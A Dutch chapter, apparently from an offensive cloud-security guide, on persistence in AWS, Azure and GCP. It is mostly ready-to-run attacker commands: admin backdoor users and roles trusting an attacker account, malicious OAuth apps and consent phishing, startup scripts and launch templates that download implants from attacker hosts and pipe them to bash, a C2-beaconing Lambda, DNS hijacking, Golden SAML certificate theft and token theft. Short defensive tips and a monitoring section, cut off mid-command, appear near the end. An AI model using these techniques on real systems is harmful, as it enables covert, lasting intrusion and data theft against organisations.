Cloud Persistentie
Waarin we ontdekken dat vertrekken uit de cloud moeilijker is dan erin komen – voor zowel de aanvaller als de verdediger
Persistentie. In de on-premise wereld betekent het scheduled tasks, registry run keys, DLL hijacking, en service creation. Bekende technieken, goed gedocumenteerd, en met een beetje geluk opgepikt door een fatsoenlijke EDR-oplossing. De cloud is een ander verhaal. Hier gaat persistentie niet over het overleven van een reboot. Hier gaat het over het overleven van een credential rotation, een incident response, en zelfs een complete account-migratie.
Het fundamentele probleem met cloud-persistentie is dat het onzichtbaar is. Een extra IAM-user in een account met 200 users valt niet op. Een trust policy-wijziging op een role die door drie teams wordt beheerd, merkt niemand op. Een OAuth app registration met Graph API-rechten? Die staat tussen de honderden andere apps die ooit door iemand zijn aangemaakt en nooit meer zijn verwijderd.
De ironie is dat dezelfde features die cloud-management makkelijk maken – IAM, federation, automation – ook persistentie makkelijk maken. Het zijn geen exploits. Het zijn features. En dat maakt detectie zo ongelofelijk lastig.
IB Tip: Cloud-persistentie wordt bijna nooit ontdekt door automatische tooling. Het vereist een baseline van “wat hoort hier te staan” en een regelmatige audit van “wat staat hier nu.” Zonder die baseline is elke backdoor gewoon een legitieme configuratie.
10.1 Persistentie in de Cloud
Waarom Cloud Persistentie Anders Is
On-Premise Persistentie Cloud Persistentie
+-----------------------------------+ +-----------------------------------+
| - Scheduled Tasks | | - IAM users/roles/policies |
| - Registry Run Keys | | - OAuth app registrations |
| - Service Installation | | - Federation trust configs |
| - DLL Hijacking | | - Event-triggered functions |
| - WMI Event Subscriptions | | - Compute startup scripts |
| - Boot/Logon Scripts | | - Storage event notifications |
| - Malicious Drivers | | - DNS record manipulation |
| | | - Token/certificate persistence |
| Overleeft: reboot | | Overleeft: credential rotation, |
| Detectie: EDR, process monitoring| | IR cleanup, account migration |
| Cleanup: re-image | | Detectie: config audit, log review|
+-----------------------------------+ | Cleanup: ??? |
+-----------------------------------+
De Persistentie Piramide
Niet alle persistentie-technieken zijn gelijk. Sommige overleven een wachtwoordreset. Andere overleven een complete incident response. De meest geavanceerde overleven zelfs een migratie naar een nieuw cloud-account.
Moeilijkheid van detectie / Robuustheid
^
|
Hoog | Golden SAML (ADFS cert theft)
| Token signing key persistence
| Cross-account role backdoors
|---
Midden| OAuth app registrations
| Automation runbooks
| Lambda triggers + EventBridge
| Compute startup scripts
|---
Laag | Extra IAM users
| Extra access keys
| Security group wijzigingen
|
+--------------------------------------->
Eenvoud van implementatie
10.2 IAM Backdoors
Extra Access Keys
De eenvoudigste vorm van persistentie: voeg een extra set access keys toe aan een bestaande user. Elke IAM-user kan twee sets access keys hebben.
# Creeer een extra access key voor een bestaande user
aws iam create-access-key --user-name existing-admin-user
# Output:
# {
# "AccessKey": {
# "UserName": "existing-admin-user",
# "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
# "Status": "Active",
# "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
# }
# }
# Check hoeveel keys een user heeft
aws iam list-access-keys --user-name existing-admin-user
# Dit valt op bij een audit -- maar wie doet er een audit?Subtielere variant: voeg keys toe aan een service account die niemand monitort:
# Zoek service accounts / system users die niet interactief worden gebruikt
aws iam list-users --query 'Users[?PasswordLastUsed==`null`].UserName'
# Of users die al lang bestaan en nooit zijn geaudit
aws iam list-users --query 'Users[?CreateDate<`2023-01-01`].{User:UserName,Created:CreateDate}'
# Voeg een access key toe aan een vergeten service account
aws iam create-access-key --user-name legacy-backup-serviceIB Tip: AWS IAM Access Analyzer kan unused access detecteren, maar het moet wel worden ingeschakeld. Veel organisaties draaien het niet. Controleer regelmatig op users met meerdere access keys:
aws iam generate-credential-report && aws iam get-credential-report --query Content --output text | base64 -d | grep -c "true.*true"(telt users met twee actieve key sets).
Backdoor IAM Users en Roles
# Creeer een onopvallende IAM user
aws iam create-user --user-name CloudFormation-Deployer-prod
# Naam lijkt op een service account
# Geef admin rechten via een inline policy (minder zichtbaar dan managed policy)
aws iam put-user-policy \
--user-name CloudFormation-Deployer-prod \
--policy-name DeploymentAccess \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}'
# Creeer access keys
aws iam create-access-key --user-name CloudFormation-Deployer-prod
# Creeer een login profile (console access) met een wachtwoord
aws iam create-login-profile \
--user-name CloudFormation-Deployer-prod \
--password 'C0mpl3x-P@ssw0rd-2024!' \
--no-password-reset-requiredBackdoor role met cross-account trust:
# Creeer een role die je vanuit een ander account kunt assumen
aws iam create-role \
--role-name EmergencyBreakGlass \
--assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"
},
"Action": "sts:AssumeRole",
"Condition": {}
}]
}'
# Attach admin policy
aws iam attach-role-policy \
--role-name EmergencyBreakGlass \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Nu kun je vanuit je eigen account:
aws sts assume-role \
--role-arn arn:aws:iam::VICTIM_ACCOUNT:role/EmergencyBreakGlass \
--role-session-name maintenanceTrust Policy Manipulation
Subtiele wijzigingen aan bestaande trust policies zijn moeilijker te detecteren dan het aanmaken van nieuwe resources.
# Haal de huidige trust policy op
aws iam get-role --role-name ExistingAdminRole \
--query 'Role.AssumeRolePolicyDocument' > trust-policy.json
# Voeg een extra principal toe
# Origineel:
# "Principal": {"AWS": "arn:aws:iam::111111111111:role/LegitRole"}
#
# Gewijzigd:
# "Principal": {"AWS": [
# "arn:aws:iam::111111111111:role/LegitRole",
# "arn:aws:iam::ATTACKER_ACCOUNT:root"
# ]}
# Update de trust policy
aws iam update-assume-role-policy \
--role-name ExistingAdminRole \
--policy-document file://modified-trust-policy.jsonAzure variant: voeg een extra owner toe aan een subscription:
# Voeg een service principal toe als Contributor (niet Owner -- dat valt te veel op)
az role assignment create \
--assignee "ATTACKER_SP_OBJECT_ID" \
--role "Contributor" \
--scope "/subscriptions/VICTIM_SUB_ID"
# Of voeg een custom role toe met specifieke rechten
az role definition create --role-definition '{
"Name": "Diagnostics Reader",
"Description": "Read diagnostic settings",
"Actions": ["*"],
"NotActions": [],
"AssignableScopes": ["/subscriptions/VICTIM_SUB_ID"]
}'
# Een role genaamd "Diagnostics Reader" met Action "*" -- wie leest de details?Cross-Account Roles als Persistentie
# AWS Organizations -- creeer een role in een member account
# vanuit het management account
# In het management account:
aws organizations list-accounts --query 'Accounts[].{Id:Id, Name:Name}'
# Assume de OrganizationAccountAccessRole in een member account
aws sts assume-role \
--role-arn arn:aws:iam::MEMBER_ACCOUNT:role/OrganizationAccountAccessRole \
--role-session-name org-admin
# Creeer een backdoor role in het member account
aws iam create-role \
--role-name AWSServiceRoleForConfig \
--assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}]
}'
# Naam lijkt op een AWS service-linked roleIB Tip: De OrganizationAccountAccessRole is het cloud-equivalent van Domain Admin. Het wordt automatisch aangemaakt in elk member account en geeft het management account volledige toegang. Als een aanvaller het management account compromitteert, heeft hij effectief toegang tot alle accounts in de organisatie. Verwijder of hernoem deze role in productie-accounts en gebruik in plaats daarvan specifieke, gelimiteerde cross-account roles.
10.3 OAuth en App Registration Persistentie
Azure: Malicious App Registrations
Azure AD App Registrations zijn een van de meest effectieve persistentiemechanismen in Azure. Een app met de juiste API-permissions kan data lezen, users beheren en configuraties wijzigen – allemaal zonder interactieve login.
# Creeer een app registration
az ad app create \
--display-name "Microsoft Graph Connector" \
--sign-in-audience "AzureADMyOrg"
# Naam lijkt op een Microsoft-product
APP_ID=$(az ad app list --display-name "Microsoft Graph Connector" --query '[0].appId' -o tsv)
# Voeg een client secret toe (geldig voor max 2 jaar)
az ad app credential reset \
--id "$APP_ID" \
--append \
--years 2 \
--display-name "Production key"
# Creeer een service principal
az ad sp create --id "$APP_ID"
# Voeg API permissions toe
# Microsoft Graph: Mail.Read, User.Read.All, Directory.Read.All
az ad app permission add \
--id "$APP_ID" \
--api 00000003-0000-0000-c000-000000000000 \
--api-permissions \
570282fd-fa5c-430d-a7fd-fc8dc98a9dca=Role \
df021288-bdef-4463-88db-98f22de89214=Role \
7ab1d382-f21e-4acd-a863-ba3e13f7da61=Role
# Grant admin consent (als je Global Admin bent)
az ad app permission admin-consent --id "$APP_ID"Gebruik de app voor persistente toegang:
# Authenticeer met de app credentials (geen MFA nodig!)
az login --service-principal \
-u "$APP_ID" \
-p "CLIENT_SECRET" \
--tenant "TENANT_ID"
# Of via de Microsoft Graph API
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
-d "client_id=$APP_ID" \
-d "client_secret=CLIENT_SECRET" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=client_credentials" \
| jq -r '.access_token')
# Lees alle users
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users" | jq '.value[].displayName'
# Lees email
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users/target@company.com/messages" | jq .Consent Grant Attacks
In plaats van admin consent kun je ook users verleiden om consent te geven aan een malicious app.
# Creeer een app die delegated permissions vraagt
az ad app create \
--display-name "Teams Productivity Helper" \
--web-redirect-uris "https://attacker.example.com/callback" \
--sign-in-audience "AzureADMultipleOrgs"
# Voeg delegated permissions toe (User.Read is standaard)
az ad app permission add \
--id "$APP_ID" \
--api 00000003-0000-0000-c000-000000000000 \
--api-permissions \
e1fe6dd8-ba31-4d61-89e7-88639da4683d=Scope \
14dad69e-099b-42c9-810b-d002981feec1=Scope \
89fe6a52-be36-487e-b7d8-d061c450a026=Scope
# User.Read, profile, openid
# Genereer de consent URL
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=$APP_ID&response_type=code&redirect_uri=https://attacker.example.com/callback&scope=User.Read+Mail.Read+offline_access&response_mode=query"
# Wanneer een user consent geeft, ontvang je een authorization code
# Wissel deze in voor tokens
curl -s -X POST \
"https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
-d "client_id=$APP_ID" \
-d "client_secret=SECRET" \
-d "code=AUTHORIZATION_CODE" \
-d "redirect_uri=https://attacker.example.com/callback" \
-d "grant_type=authorization_code" \
| jq .
# Het refresh_token is je persistentie-mechanisme!
# Geldig voor 90 dagen (standaard) en vernieuwbaarAWS: Identity Providers
# Registreer een SAML Identity Provider in AWS
# Met een zelf-beheerd certificaat
aws iam create-saml-provider \
--saml-metadata-document file://evil-idp-metadata.xml \
--name "CorporateSSO-DR"
# Creeer een role die deze IdP vertrouwt
aws iam create-role \
--role-name SSOFederatedAccess \
--assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::111111111111:saml-provider/CorporateSSO-DR"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}]
}'
aws iam attach-role-policy \
--role-name SSOFederatedAccess \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Nu kun je SAML assertions genereren met je eigen IdP
# en daarmee de SSOFederatedAccess role assumenGCP: OAuth Consent
# GCP OAuth2 client credentials voor persistentie
# Creeer een OAuth client
gcloud alpha iap oauth-clients create \
--display-name="Monitoring Integration" \
"projects/PROJECT_ID/brands/BRAND_ID"
# Of via de API
curl -X POST \
"https://iap.googleapis.com/v1/projects/PROJECT_NUMBER/brands/BRAND_ID/identityAwareProxyClients" \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{"displayName": "Internal Monitoring"}'IB Tip: Azure AD App Registrations zijn de #1 persistentie-vector in Azure-omgevingen. Ze overleven wachtwoord-resets, MFA-wijzigingen en zelfs conditional access policies (want ze gebruiken client credentials, niet interactieve login). Audit regelmatig:
az ad app list --all --query '[].{name:displayName, created:createdDateTime, permissions:requiredResourceAccess}'
10.4 Compute-Based Persistentie
EC2 User Data Scripts
EC2 instances voeren user data scripts uit bij de eerste boot (en optioneel bij elke boot). Dit is een klassiek persistentie-mechanisme.
# Bekijk de huidige user data van een instance
aws ec2 describe-instance-attribute \
--instance-id i-0abc123def456789 \
--attribute userData \
--query 'UserData.Value' --output text | base64 -d
# Modificeer de user data (instance moet gestopt zijn)
# Stap 1: Stop de instance
aws ec2 stop-instances --instance-ids i-0abc123def456789
# Stap 2: Wijzig de user data
USERDATA=$(cat <<'SCRIPT' | base64
#!/bin/bash
# Origineel script...
apt-get update && apt-get install -y nginx
# Backdoor: download en start een reverse shell bij elke boot
curl -s https://attacker.example.com/implant -o /usr/local/bin/.update-service
chmod +x /usr/local/bin/.update-service
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/.update-service
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update.service
systemctl start system-update.service
SCRIPT
)
aws ec2 modify-instance-attribute \
--instance-id i-0abc123def456789 \
--user-data "Value=$USERDATA"
# Stap 3: Start de instance weer
aws ec2 start-instances --instance-ids i-0abc123def456789Azure VM Extensions
Azure VM Extensions draaien scripts op VM’s – en ze zijn beheerbaar via de Azure API.
# Bekijk bestaande extensions
az vm extension list --vm-name target-vm --resource-group target-rg
# Installeer een custom script extension (Linux)
az vm extension set \
--resource-group target-rg \
--vm-name target-vm \
--name customScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{
"commandToExecute": "curl -s https://attacker.example.com/implant | bash"
}'
# Windows variant
az vm extension set \
--resource-group target-rg \
--vm-name target-win-vm \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{
"commandToExecute": "powershell -enc BASE64_ENCODED_COMMAND"
}'
# De extension blijft geinstalleerd en kan opnieuw worden getriggerd
# Bekijk de status
az vm extension show \
--resource-group target-rg \
--vm-name target-vm \
--name customScriptGCE Startup Scripts
# Bekijk de huidige startup script
gcloud compute instances describe target-instance \
--zone europe-west1-b \
--format="value(metadata.items[key='startup-script'].value)"
# Stel een startup script in
gcloud compute instances add-metadata target-instance \
--zone europe-west1-b \
--metadata startup-script='#!/bin/bash
# Legitimate looking startup
echo "Starting application..."
# Backdoor
if [ ! -f /tmp/.init_done ]; then
curl -s https://attacker.example.com/gcp-implant -o /usr/local/sbin/health-monitor
chmod +x /usr/local/sbin/health-monitor
/usr/local/sbin/health-monitor &
touch /tmp/.init_done
fi
'
# Of via een GCS URL (minder opvallend)
gcloud compute instances add-metadata target-instance \
--zone europe-west1-b \
--metadata startup-script-url='gs://internal-scripts/startup.sh'
# Waar startup.sh jouw backdoor bevatAuto-Scaling Launch Templates
Launch templates definiëren hoe nieuwe instances worden gecreeerd. Wijzig de template en elke nieuwe instance bevat je backdoor.
# Bekijk bestaande launch templates
aws ec2 describe-launch-templates
# Haal de huidige versie op
aws ec2 describe-launch-template-versions \
--launch-template-id lt-0abc123def456789 \
--versions '$Latest'
# Creeer een nieuwe versie met gewijzigde user data
aws ec2 create-launch-template-version \
--launch-template-id lt-0abc123def456789 \
--source-version 1 \
--launch-template-data '{
"UserData": "'$(base64 <<< '#!/bin/bash
# Original user data...
# Plus backdoor
curl -s https://attacker.example.com/asg-implant | bash
')'"
}' \
--version-description "Security patch update"
# Stel de nieuwe versie in als default
aws ec2 modify-launch-template \
--launch-template-id lt-0abc123def456789 \
--default-version 2
# Bij de volgende scale-out krijgt elke nieuwe instance de backdoorIB Tip: Auto-scaling launch templates zijn een bijzonder effectief persistentie-mechanisme. Zelfs als het IR-team alle draaiende instances opruimt, creert de auto-scaler nieuwe instances met de backdoor. Check altijd de launch templates en launch configurations als onderdeel van incident response:
aws ec2 describe-launch-template-versions --launch-template-id lt-xxx --versions '$Latest' --query 'LaunchTemplateVersions[0].LaunchTemplateData.UserData' --output text | base64 -d
10.5 Serverless Persistentie
Lambda Triggers met CloudWatch Events / EventBridge
EventBridge rules kunnen Lambda-functies op een schema triggeren – de cloud-versie van een cron job.
# Creeer een Lambda functie als backdoor
aws lambda create-function \
--function-name CloudWatch-MetricCollector \
--runtime python3.11 \
--handler index.handler \
--role arn:aws:iam::111111111111:role/LambdaExecutionRole \
--zip-file fileb://backdoor.zip \
--timeout 60
# Creeer een EventBridge rule die elke 6 uur triggert
aws events put-rule \
--name MetricCollection-Schedule \
--schedule-expression "rate(6 hours)" \
--state ENABLED \
--description "Collect CloudWatch metrics for dashboard"
# Koppel de Lambda aan de rule
aws events put-targets \
--rule MetricCollection-Schedule \
--targets '[{
"Id": "MetricCollector",
"Arn": "arn:aws:lambda:eu-west-1:111111111111:function:CloudWatch-MetricCollector"
}]'
# Geef EventBridge toestemming om de Lambda aan te roepen
aws lambda add-permission \
--function-name CloudWatch-MetricCollector \
--statement-id EventBridge-Invoke \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:eu-west-1:111111111111:rule/MetricCollection-ScheduleDe backdoor Lambda:
# index.py -- lijkt op een metric collector
import boto3
import json
import os
import urllib.request
def handler(event, context):
# "Legitimate" metric collection
cw = boto3.client('cloudwatch')
metrics = cw.list_metrics(Namespace='AWS/EC2')
# Backdoor: exfiltreer credentials en check voor commands
try:
# Check-in bij C2
data = json.dumps({
"account": boto3.client('sts').get_caller_identity()['Account'],
"role": os.environ.get('AWS_LAMBDA_FUNCTION_NAME'),
"region": os.environ.get('AWS_REGION'),
}).encode()
req = urllib.request.Request(
"https://metrics-api.attacker.example.com/v1/collect",
data=data,
headers={"Content-Type": "application/json"}
)
resp = urllib.request.urlopen(req, timeout=5)
cmd = json.loads(resp.read())
# Voer commands uit als die er zijn
if cmd.get('action') == 'enumerate':
iam = boto3.client('iam')
users = iam.list_users()['Users']
# ... rapporteer terug
except Exception:
pass # Fail silently
return {"metrics_collected": len(metrics.get('Metrics', []))}S3 Event Triggers
# Configureer een S3 bucket notification die een Lambda triggert
# bij elke upload (persistent monitoring van data)
aws s3api put-bucket-notification-configuration \
--bucket sensitive-data-bucket \
--notification-configuration '{
"LambdaFunctionConfigurations": [{
"Id": "DataClassification",
"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:111111111111:function:DataClassifier",
"Events": ["s3:ObjectCreated:*"],
"Filter": {
"Key": {
"FilterRules": [{
"Name": "suffix",
"Value": ".csv"
}]
}
}
}]
}'
# De Lambda kopieert interessante bestanden naar een externe bucketAzure Automation Runbooks
Azure Automation Runbooks draaien PowerShell of Python scripts op een schema. Ze zijn ideaal voor persistentie omdat ze er uitzien als legitieme automatisering.
# Creeer een automation account (als dat nog niet bestaat)
az automation account create \
--name "IT-Automation" \
--resource-group mgmt-rg \
--location westeurope
# Creeer een runbook
az automation runbook create \
--automation-account-name "IT-Automation" \
--resource-group mgmt-rg \
--name "Compliance-Check" \
--type PowerShell \
--description "Weekly compliance verification"
# Upload het runbook script
az automation runbook replace-content \
--automation-account-name "IT-Automation" \
--resource-group mgmt-rg \
--name "Compliance-Check" \
--content @compliance-check.ps1
# Publiceer het runbook
az automation runbook publish \
--automation-account-name "IT-Automation" \
--resource-group mgmt-rg \
--name "Compliance-Check"
# Creeer een schedule
az automation schedule create \
--automation-account-name "IT-Automation" \
--resource-group mgmt-rg \
--name "Weekly-Compliance" \
--frequency Week \
--interval 1 \
--start-time "2026-03-08T02:00:00+01:00" \
--description "Weekly compliance scan"
# Koppel het runbook aan het schedule
az automation job-schedule create \
--automation-account-name "IT-Automation" \
--resource-group mgmt-rg \
--runbook-name "Compliance-Check" \
--schedule-name "Weekly-Compliance"GCP Cloud Scheduler
# Creeer een Cloud Scheduler job die een Cloud Function triggert
gcloud scheduler jobs create http compliance-scan \
--schedule="0 */6 * * *" \
--uri="https://europe-west1-project-id.cloudfunctions.net/compliance-scanner" \
--http-method=POST \
--message-body='{"scan_type": "full"}' \
--oidc-service-account-email="scheduler-sa@project.iam.gserviceaccount.com" \
--location=europe-west1 \
--description="Regular compliance scanning"
# Of trigger een Pub/Sub topic
gcloud scheduler jobs create pubsub data-sync \
--schedule="*/30 * * * *" \
--topic="data-processing" \
--message-body='{"sync": true}' \
--location=europe-west110.6 Storage-Based Persistentie
S3 Event Notifications als Trigger
S3 event notifications zijn niet alleen een aanvalsvector voor event injection – ze zijn ook een persistentie-mechanisme.
# Creeer een Lambda die getriggerd wordt door uploads naar een veelgebruikte bucket
# Elke keer dat iemand een bestand uploadt, draait jouw code
aws s3api put-bucket-notification-configuration \
--bucket company-shared-files \
--notification-configuration '{
"LambdaFunctionConfigurations": [{
"Id": "FileProcessor",
"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:111111111111:function:FileIndexer",
"Events": ["s3:ObjectCreated:*"]
}]
}'
# De Lambda:
# 1. Indexeert het bestand (legitieme functie)
# 2. Kopieert interessante bestanden naar een attacker-bucket
# 3. Rapporteert terug naar C2Azure Blob Storage Triggers
# Azure Function met Blob Storage trigger
# In function.json:
# {
# "bindings": [{
# "name": "inputBlob",
# "type": "blobTrigger",
# "direction": "in",
# "path": "uploads/{name}",
# "connection": "AzureWebJobsStorage"
# }]
# }
# Elke upload naar de 'uploads' container triggert de functie
# De functie kan de data exfiltrerenLifecycle Policies als Timer
S3 Lifecycle policies kunnen objecten verplaatsen of verwijderen na een bepaalde periode. Creatief gebruikt, kunnen ze als timer fungeren.
# Creeer een lifecycle policy die een object na 30 dagen naar Glacier verplaatst
# De transitie triggert een S3 event notification
aws s3api put-bucket-lifecycle-configuration \
--bucket timer-bucket \
--lifecycle-configuration '{
"Rules": [{
"ID": "ArchiveOldFiles",
"Status": "Enabled",
"Filter": {"Prefix": "timer/"},
"Transitions": [{
"Days": 30,
"StorageClass": "GLACIER"
}]
}]
}'
# Upload een "timer" object
aws s3 cp /dev/null s3://timer-bucket/timer/trigger-20260302
# Na 30 dagen triggert de transitie een event
# Dat event triggert een Lambda
# Die Lambda voert je persistentie-actie uit
# En creert een nieuw timer-object (herhalende cyclus)IB Tip: Storage-gebaseerde persistentie is bijzonder lastig te detecteren omdat het gebruik maakt van normale, verwachte functionaliteit. Wie controleert de S3 event notification configuratie van elke bucket? Of de lifecycle policies? De enige manier om dit te vinden is een volledige configuratie-audit, of CloudTrail-alerts op
s3:PutBucketNotificationConfigurationens3:PutBucketLifecycleConfiguration.
10.7 DNS en Domain Persistentie
Route53 Record Manipulation
DNS-records zijn een vaak over het hoofd gezien persistentie-mechanisme. Een gewijzigd A-record of CNAME kan verkeer omleiden naar een aanvaller-gecontroleerde server.
# Bekijk alle hosted zones
aws route53 list-hosted-zones
# Bekijk records in een zone
aws route53 list-resource-record-sets \
--hosted-zone-id /hostedzone/Z1234567890
# Voeg een subdomain toe dat naar je C2 wijst
aws route53 change-resource-record-sets \
--hosted-zone-id /hostedzone/Z1234567890 \
--change-batch '{
"Changes": [{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": "internal-api.company.com",
"Type": "A",
"TTL": 300,
"ResourceRecords": [{"Value": "ATTACKER_IP"}]
}
}]
}'
# Of creeer een wildcard record
aws route53 change-resource-record-sets \
--hosted-zone-id /hostedzone/Z1234567890 \
--change-batch '{
"Changes": [{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": "*.dev.company.com",
"Type": "CNAME",
"TTL": 300,
"ResourceRecords": [{"Value": "attacker-infra.example.com"}]
}
}]
}'Azure DNS Zone Abuse
# Bekijk DNS zones
az network dns zone list --query '[].{name:name, rg:resourceGroup}'
# Voeg een record toe
az network dns record-set a add-record \
--resource-group dns-rg \
--zone-name company.com \
--record-set-name vpn-backup \
--ipv4-address ATTACKER_IP
# Wijzig een MX record (email omleiding)
az network dns record-set mx add-record \
--resource-group dns-rg \
--zone-name company.com \
--record-set-name mail-backup \
--exchange attacker-smtp.example.com \
--preference 5Subdomain Takeover
Subdomain takeover is een persistentie-techniek waarbij je een subdomain overneemt dat verwijst naar een niet meer bestaande resource.
# Zoek naar dangling DNS records
# CNAME records die verwijzen naar cloud services
# AWS
aws route53 list-resource-record-sets \
--hosted-zone-id /hostedzone/Z1234567890 \
--query 'ResourceRecordSets[?Type==`CNAME`].{Name:Name,Target:ResourceRecords[0].Value}' \
| jq '.[] | select(.Target | test("amazonaws|azurewebsites|cloudapp|herokuapp|github|s3"))'
# Check of de targets nog bestaan
for target in $(aws route53 list-resource-record-sets \
--hosted-zone-id /hostedzone/Z1234567890 \
--query 'ResourceRecordSets[?Type==`CNAME`].ResourceRecords[0].Value' \
--output text); do
echo -n "$target: "
host "$target" 2>&1 | head -1
done
# Als een CNAME verwijst naar een S3 bucket die niet meer bestaat:
# Creeer die bucket in je eigen account
aws s3 mb s3://company-old-website --region eu-west-1
# Nu serveert jouw bucket content op company-old-website.company.com10.8 Golden SAML en Token Persistentie
ADFS Signing Certificate Theft
De Golden SAML-aanval is wellicht de meest robuuste persistentie-techniek in een hybride omgeving. Met het ADFS token-signing certificaat kun je SAML-tokens genereren voor elke gebruiker, inclusief Global Admins, zonder hun wachtwoord te kennen.
# Op de ADFS server (vereist admin access):
# Methode 1: Export via PowerShell
$cert = Get-AdfsCertificate -CertificateType Token-Signing
Export-PfxCertificate -Cert "Cert:\LocalMachine\My\$($cert.Certificate.Thumbprint)" `
-FilePath "C:\temp\adfs-signing.pfx" `
-Password (ConvertTo-SecureString -String "ExportPassword" -Force -AsPlainText)
# Methode 2: ADFSDump
.\ADFSDump.exe /domain:corp.local /server:adfs01.corp.local
# Methode 3: Mimikatz (als het certificaat in de Windows Certificate Store staat)
mimikatz.exe "crypto::certificates /systemstore:local_machine /export" exit
# Methode 4: Via de ADFS configuration database (WID of SQL)
# De DKM key decrypts de signing certificate
# Haal de DKM container op uit AD
$adfs = Get-WmiObject -Namespace root\ADFS -Class SecurityTokenService
$adfs.ConfigurationDatabaseConnectionString
# Lees de EncryptedPfx uit de configuratiedatabaseForged SAML Assertions
# Met het gestolen certificaat kun je SAML assertions forgen
# Gebruik shimit (Python)
python3 shimit.py \
-idp "http://adfs.corp.local/adfs/services/trust" \
-spn "urn:federation:MicrosoftOnline" \
-cert stolen-adfs-signing.pfx \
-u "ceo@company.com" \
-n "CEO Name" \
-r "Global Administrator" \
-id "_$(python3 -c 'import uuid; print(uuid.uuid4())')" \
-o golden_saml.b64
# Dit geeft je een B64-encoded SAML response
# Die je kunt gebruiken om in te loggen als elke gebruiker
# Gebruik de SAML assertion om een access token te krijgen
# Via browser (post naar de Azure AD SAML endpoint)
# Of via tools die SAML assertions verwerkenRefresh Token Abuse
OAuth2 refresh tokens zijn long-lived en kunnen worden gebruikt om nieuwe access tokens te genereren. Ze overleven wachtwoord-resets (in sommige configuraties).
# Stap 1: Verkrijg een refresh token via phishing, token theft, etc.
# Stap 2: Gebruik het refresh token om een nieuw access token te krijgen
curl -s -X POST \
"https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
-d "client_id=APP_ID" \
-d "grant_type=refresh_token" \
-d "refresh_token=STOLEN_REFRESH_TOKEN" \
-d "scope=https://graph.microsoft.com/.default offline_access" \
| jq .
# Het response bevat:
# - Een nieuw access_token (korte levensduur, ~1 uur)
# - Een nieuw refresh_token (lange levensduur, tot 90 dagen)
# - De nieuwe refresh_token verlengt de levensduur weer
# Stap 3: Automatiseer het vernieuwen
# Sla het refresh token veilig op en vernieuw het regelmatig
# Zolang je het binnen de lifetime vernieuwt, blijf je toegang houdenPrimary Refresh Token (PRT) theft:
# Een PRT is het krachtigste token in Azure AD
# Het geeft SSO-toegang tot alle Azure AD-connected resources
# Methode 1: Mimikatz (op een Azure AD joined device)
mimikatz.exe "sekurlsa::cloudap" exit
# Geeft de PRT en session key
# Methode 2: ROADtools (Python)
# pip install roadtools
roadtx prt -a devicecode
# Of met gestolen PRT:
roadtx prt -r PRT_VALUE -s SESSION_KEY
roadtx browserprtauth # Start een browser met het PRTIB Tip: Golden SAML overleeft alles behalve het roteren van het ADFS token-signing certificaat. En dat certificaat roteren is een operatie die de meeste organisaties nooit doen – omdat het alle bestaande federatie-relaties breekt. Het is de ultieme persistentie: de enige remedie is pijnlijker dan de aanval zelf. Plan regelmatige certificaatrotatie en test het herstelproces.
Verdedigingsmaatregelen
CloudTrail Monitoring
# CloudTrail events die op persistentie kunnen wijzen
# IAM-gerelateerde events
aws logs filter-log-events \
--log-group-name CloudTrail/management-events \
--filter-pattern '{
($.eventName = "CreateUser") ||
($.eventName = "CreateAccessKey") ||
($.eventName = "CreateRole") ||
($.eventName = "UpdateAssumeRolePolicy") ||
($.eventName = "AttachUserPolicy") ||
($.eventName = "AttachRolePolicy") ||
($.eventName = "PutUserPolicy") ||
($.eventName = "PutRolePolicy") ||
($.eventName = "CreateLoginProfile") ||
($.eventName = "CreateSAMLProvider")
}'
# Lambda en EventBridge events
aws logs filter-log-events \
--log-group-name CloudTrail/management-events \
--filter-pattern '{
($.eventName = "CreateFunction*") ||
($.eventName = "UpdateFunctionCode*") ||
($.eventName = "PutRule") ||
($.eventName = "PutTargets") ||
($.eventName = "AddPermission")
}'
# Compute persistence events
aws logs filter-log-events \
--log-group-name CloudTrail/management-events \
--filter-pattern '{
($.eventName = "ModifyInstanceAttribute") ||
($.eventName = "CreateLaunchTemplateVersion") ||
($.eventName = "PutBucketNotificationConfiguration")
}'Azure AD Audit Logs
# Monitor app registrations en consent grants
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$filter=activityDisplayName eq 'Add application' or activityDisplayName eq 'Consent to application' or activityDisplayName eq 'Add service principal credentials'&\$top=50" \
